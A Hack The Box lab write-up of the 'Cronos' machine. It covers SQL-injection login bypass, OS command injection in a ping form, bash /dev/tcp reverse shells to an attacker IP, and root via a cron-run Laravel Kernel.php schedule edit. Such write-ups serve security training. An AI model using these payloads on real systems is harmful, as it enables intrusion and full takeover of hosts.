Hack The Box: Cronos Writeup [Laravel Cron Job Privesc]

Abhishek Rautela
9 min readFeb 13, 2021

Cronos was rated medium difficulty that required basic SQL injection to get a foothold and command injection to get a reverse shell. The box was actually an easy one. The privilege escalation part was interesting where I learned how to exploit Laravel cron job.

Let’s jump in.

RECON

I prefer running manual commands as they provide better control and prevent us from getting blocked by any firewall but due to time restrictions in the OSCP environment I decided to learn using autorecon.

You can run autorecon as follows:

sudo autorecon -vv 10.10.10.13

Nmap Scan results:

# Nmap 7.91 scan initiated Mon Feb  1 06:56:50 2021 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /home/kali/Desktop/ctf/htb/cronos/results/10.10.10.13/scans/_full_tcp_nmap.txt -oX /home/kali/Desktop/ctf/htb/cronos/results/10.10.10.13/scans/xml/_full_tcp_nmap.xml 10.10.10.13
Nmap scan report for 10.10.10.13
Host is up, received user-set (0.17s latency).
Scanned at 2021-02-01 06:56:51 EST for 488s
Not shown: 65532 filtered ports
Reason: 65532 no-responses
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkOUbDfxsLPWvII72vC7hU4sfLkKVEqyHRpvPWV2+5s2S4kH0rS25C/R+pyGIKHF9LGWTqTChmTbcRJLZE4cJCCOEoIyoeXUZWMYJCqV8crflHiVG7Zx3wdUJ4yb54G6NlS4CQFwChHEH9xHlqsJhkpkYEnmKc+CvMzCbn6CZn9KayOuHPy5NEqTRIHObjIEhbrz2ho8+bKP43fJpWFEx0bAzFFGzU0fMEt8Mj5j71JEpSws4GEgMycq4lQMuw8g6Acf4AqvGC5zqpf2VRID0BDi3gdD1vvX2d67QzHJTPA5wgCk/KzoIAovEwGqjIvWnTzXLL8TilZI6/PV8wPHzn
| 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKWsTNMJT9n5sJr5U1iP8dcbkBrDMs4yp7RRAvuu10E6FmORRY/qrokZVNagS1SA9mC6eaxkgW6NBgBEggm3kfQ=
| 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHBIQsAL/XR/HGmUzGZgRJe/1lQvrFWnODXvxQ1Dc+Zx
53/tcp open domain syn-ack ttl 63 ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%), Linux 4.4 (92%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.91%E=4%D=2/1%OT=22%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=6017EE6B%P=x86_64-pc-linux-gnu)
SEQ(SP=105%GCD=1%ISR=10D%TI=Z%TS=8)
SEQ(SP=105%GCD=1%ISR=10D%TI=Z%II=I%TS=8)
OPS(O1=M54BST11NW7%O2=M54BST11NW7%O3=M54BNNT11NW7%O4=M54BST11NW7%O5=M54BST11NW7%O6=M54BST11)
WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)
ECN(R=Y%DF=Y%TG=40%W=7210%O=M54BNNSNW7%CC=Y%Q=)
T1(R=Y%DF=Y%TG=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
U1(R=N)
IE(R=Y%DFI=N%TG=40%CD=S)
Uptime guess: 0.026 days (since Mon Feb 1 06:27:24 2021)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 152.80 ms 10.10.16.1
2 152.90 ms 10.10.10.13
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Feb 1 07:04:59 2021 -- 1 IP address (1 host up) scanned in 489.46 seconds

We get only three ports as open.

  • Port 22 — SSH
  • Port 53 — DNS
  • Port 80 — HTTP

The UDP scan returns the following result:

# Nmap 7.91 scan initiated Mon Feb  1 06:56:50 2021 as: nmap -vv --reason -Pn -sU -A --top-ports=20 --version-all -oN /home/kali/Desktop/ctf/htb/cronos/results/10.10.10.13/scans/_top_20_udp_nmap.txt -oX /home/kali/Desktop/ctf/htb/cronos/results/10.10.10.13/scans/xml/_top_20_udp_nmap.xml 10.10.10.13
Nmap scan report for 10.10.10.13
Host is up, received user-set (0.20s latency).
Scanned at 2021-02-01 06:56:51 EST for 524s
PORT STATE SERVICE REASON VERSION
53/udp open domain udp-response ttl 63 ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
67/udp open|filtered dhcps no-response
68/udp open|filtered dhcpc no-response
69/udp open|filtered tftp no-response
123/udp open|filtered ntp no-response
135/udp open|filtered msrpc no-response
137/udp open|filtered netbios-ns no-response
138/udp open|filtered netbios-dgm no-response
139/udp open|filtered netbios-ssn no-response
161/udp open|filtered snmp no-response
162/udp open|filtered snmptrap no-response
445/udp open|filtered microsoft-ds no-response
500/udp open|filtered isakmp no-response
514/udp open|filtered syslog no-response
520/udp open|filtered route no-response
631/udp open|filtered ipp no-response
1434/udp open|filtered ms-sql-m no-response
1900/udp open|filtered upnp no-response
4500/udp open|filtered nat-t-ike no-response
49152/udp open|filtered unknown no-response
Too many fingerprints match this host to give specific OS details
TCP/IP fingerprint:
SCAN(V=7.91%E=4%D=2/1%OT=%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=6017EE8F%P=x86_64-pc-linux-gnu)
SEQ(II=I)
U1(R=N)
IE(R=Y%DFI=N%TG=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 53/udp)
HOP RTT ADDRESS
1 227.03 ms 10.10.16.1
2 227.29 ms 10.10.10.13
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Feb 1 07:05:36 2021 -- 1 IP address (1 host up) scanned in 525.96 seconds

We have only DNS listening on UDP.

Let’s begin our enumeration and try to understand the box better.

Enumeration

  • Port 22 — OpenSSH 7.2p2 Ubuntu.

One google search reveals that the box is probably Ubuntu Xenial.

SSH is considered to be a secure service and until we have any valid credentials, there is very low probability of it being an attack vector. Let’s move on to the next port for the time being.

  • Port 53 — DNS (TCP/UDP)

Let’s run NSLOOKUP to resolve the ip and find any possible hostname or nameserver.

nslookup> server 10.10.10.13>10.10.10.13

We get a hostname ns1.cronos.htb. Great, this also provides us the base domain i.e. cronos.htb

Let’s try a DNS zone transfer and enumerate other subdomains.

host -l -a cronos.htb 10.10.10.13

Great. We now have two more subdomains to look at.

Lets add all the hosts to the /etc/hosts file.

10.10.10.13    cronos.htb admin.cronos.htb ns1.cronos.htb www.cronos.htb
  • Port 80 — HTTP

HTTP has the largest attack vector and I prefer to enumerate it at the end, when I have no other port/service to look at.

Visiting the ip reveals a default Apache webpage

Autorecon automatically runs gobuster for directory bruteforcing and we didn’t get anything interesting, so let’s move on for now.

As we have already added the hostnames to our /etc/hosts file we can visit them one by one.

We get a webpage with some links.

Inspecting the source code indicates that the webpage is probably built on Laravel.

The admin.cronos.htb subdomain reveals a login page.

The first thing I tried was using common credentials such as admin/admin, admin/password, root/root, root/password. No luck.

The application seems to be a custom one, so there is a very low chance of a default credential.

Let’s try a basic SQL injection.

We are in…!!!!

You can try other SQL payloads to bypass the Login form. One such list of payloads can be found here:

We get a welcome.php page which has a ping functionality. Let’s try to ping our ip.

We can listen on our local machine with tcpdump.

tcpdump -i tun0 icmp 

The above command enables tcpdump to listen on our tun0 interface and capture only ICMP packets. ICMP stands for Internet control message protocol. You can read about it here:

https://www.cloudflare.com/learning/ddos/glossary/internet-control-message-protocol-icmp/

We get a hit. The ping functionality works…!!!!

Whenever I see a web app running system commands the first thing I want to check is OS command injection vulnerability, which allows an attacker to inject system commands in a legitimate web command using line terminator or special characters such as & | ; or $(whoami). If you are not familiar with it you can read this article.

Let’s try injecting a command as follows

ping 8.8.8.8; ls

Sweet. We have identified a vulnerability. It’s time to get a reverse shell.

Exploitation

Let’s intercept the request in burp as it provides better control and we can use repeater to get multiple shells easily.

Both the command and host field are vulnerable to command injection.

Change the command field to a bash reverse shell. Don’t forget to urlencode the reverse shell by highlighting the entire reverse shell command and pressing ctrl+u. You can decode the string by pressing ctrl+shift+u.

bash -c ‘bash -i >& /dev/tcp/10.10.16.3/7777 0>&1’

We get a shell as www-data user

Get an interactive shell with tty with following commands.

python -c ‘import pty; pty.spawn(“/bin/bash”)’

Hit ctrl+z to background the job.

stty raw -echo

Type fg(You will not be able to view the characters as you type) and hit enter twice:

fg

Export the TERM variable:

export TERM=xterm

In another window check the number of rows and columns:

stty -a

Set the number of rows and columns in our reverse shell:

stty rows 32 columns 145

We now have a fully interactive shell with tab autocomplete.

Privilege Escalation

Before we run any automated tool let’s check the basic privesc vectors like SUID, SUDO and cron jobs.

find / -perm -4000 -ls 2>/dev/nullsudo -l

We do not find anything interesting. Let’s check cron jobs.

cat /etc/cron*

Great. We get a php cron running in /var/www/laravel. For those who don’t know Cron jobs are scheduled tasks that run after every specific interval of time. In our case the cron job is running every minute as it has stars all across. The following diagram explains the functioning of a cron.

You can read more about cron here:

We could either leverage this by overwriting the cron file, but altering a legitimate cron file is a bad practice and can cause serious consequences if done in a production environment.

We’ll do it the “right” way by creating a scheduled task in Laravel.

Check the task scheduling section in laravel docs at following link:

The docs specify modifying the Kernel.php file and calling a system command within the schedule function.

We can now leverage the cron job to get a root shell.

Let’s navigate to /var/www/laravel/app/Console. We do have a Kernel.php file and thankfully we own the file and have write access to it.

Add a system call in the schedule function.

$schedule->exec(‘bash -c “bash -i >& /dev/tcp/10.10.16.3/9000 0>&1”’)->everyMinute();

Save the Kernel.php file and create a netcat listener.

In a minute the cron runs and we get a shell as root.

For suggestions/queries you can contact me on twitter @accesscheck. Thank You.

--

--